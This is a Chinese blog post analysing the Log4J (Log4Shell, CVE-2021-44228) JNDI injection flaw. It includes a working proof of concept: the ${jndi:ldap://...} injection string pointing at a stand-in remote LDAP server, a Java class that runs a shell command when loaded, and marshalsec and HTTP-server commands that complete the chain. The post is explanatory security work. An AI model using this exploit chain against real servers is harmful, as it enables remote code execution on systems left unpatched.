12月10日凌晨爆出的 Log4J 漏洞引起了广泛关注,被称为“核弹级”漏洞。费了一番功夫搞懂了来龙去脉,就用本文来剖析下漏洞根因。

前置知识:JNDI

Java 命名和目录接口(JNDI) 为使用Java 编写的应用程序提供命名和目录功能,以一种统一的接口形式支持 LDAP、DNS、RMI 等丰富的 SPI 实现,允许 Java 程序通过名称向目录服务查找并检出数据与对象。

JNDI Arch

图源:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

另一方面,轻型目录访问协议(LDAP)等协议能够提供 Java 对象的目录存储范式[3]。

LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory:

  1. Using Java serialization https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
  2. Using JNDI References https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html

其中取回的 Java 对象将被解码并最终被 Jdni Manager 执行——也就是支持远程代码执行。

public void run() {
		Context context = new InitialLdapContext();
	  context.lookup("jndi:ldap://REMOTE.SERVER.COM:1389/a");
}

Log4J 漏洞

LOGGER.error("user not found. username: {}", username);

一般来说,我们会在日志中记录用户输入,并以此来排查用户交互行为导致的各种异常。而这也是该漏洞被称为高危的原因。比如上例中的 username ,一旦恶意用户填充上 ${jndi:ldap://REMOTE.SERVER.COM:1389/a}(由用户控制的 LDAP 服务器),Log4J 会填充 {} ,而更近一步,因为内容被替换为 ${xxx} ,又触发了 Context.lookup(), 也就形成了 JNDI Injection ,向应用程序注入恶意代码,从而控制服务器等。

PoC

需要注入的恶意代码,为目标 MacOS 打开 计算器。

public class Injection {
    static {
        try {
            String[] cmd = {"bash", "-c", "open -a /System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

上述代码使用 javac 编译后快速构建 HTTP 文件服务 python -m SimpleHTTPServer

利用 https://github.com/mbechler/marshalsec 搭建 LDAP 服务。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '<http://127.0.0.1:8000/#Injection>' 1389

漏洞程序如下

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) throws IOException, NamingException {
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
        String username = br.readLine();
        logger.error("user not found. username: {}", username);
    }
}

启动漏洞程序并输入 ${jndi:ldap://127.0.0.1:1389}

参考

[1]. https://nvd.nist.gov/vuln/detail/CVE-2021-44228

[2]. https://docs.oracle.com/javase/jndi/tutorial/objects/index.html

[3]. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf